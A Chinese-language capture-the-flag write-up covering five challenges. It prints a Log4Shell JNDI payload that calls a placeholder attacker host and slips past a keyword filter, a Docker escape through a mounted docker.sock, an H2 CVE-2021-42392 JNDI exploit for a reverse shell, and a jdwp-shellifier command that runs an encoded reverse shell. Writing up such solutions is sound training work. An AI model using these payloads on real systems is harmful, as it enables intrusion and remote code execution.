这场比赛是体验赛,签到题较多,没有设置过多的障碍,个人完成了其中的5题
Remote Debugger
题目提供了一个远程GDB
环境调试一个简单程序,程序内只引用了getchar
和putchar
所以没有办法通过p system()
之类的手段访问容器内的flag
。但是我们可以通过手写shellcode
的方式替换原来的程序执行shellcode
我最先尝试的是传一个反弹shell
,在本地能够跑通但一放到题目的环境上就SIGKILL
不知道为什么
最后手写了shellcode
将flag
写到[rsp]
上
1 | section .text |
编译:
1 | nasm -f elf64 shellcode.asm -o shellcode.o |
执行:
1 | target remote 106.14.170.199:1234 |
log4flag
这一题没有什么好说的,就是最新的log4j
漏洞
需要注意的是给出的程序有filter
进行简单过滤:(\$\{jndi:)|(ldap:)|(rmi:)
这个可以用toLower
来绕过
构造payload
:
1 | ${${lower:j}ndi:${lower:l}dap://YOURIP/a} |
Be-a-Docker-Escaper
观察到容器映射了docker.sock
所以直接在容器内开一个新的容器去cat flag
即可
命令:
1 | apt-get update && apt-get install -y wget # 安装工具 |
Be-a-Database-Hacker 2
给出了一个带版本号的h2
直接根据2.0.202
搜索CVE
发现:CVE-2021-42392
该CVE
有人详细分析过:
- https://0x0021h.github.io/2022/01/10/22/index.html
- http://www.mastertheboss.com/jbossas/jboss-datasource/what-you-need-to-know-about-cve-2021-42392/
使用和log4flag
一样的poc
脚本
将Driver Class
填入javax.naming.InitialContext
JDBC URL
填入ldap://YOURIP/a
即可获得反弹shell
Java Remote Debugger
原题?浅析常见Debug调试器的安全隐患 - 博客 - 腾讯安全应急响应中心 (tencent.com)
使用脚本:https://github.com/IOActive/jdwp-shellifier
1 | python2 ./jdwp-shellifier.py -t 139.196.23.201 -p 8888 --break-on java.lang.String.indexOf --cmd 'bash -c {echo,BASE64ENCODEDSHELLCODE}|{base64,-d}|{bash,-i}' |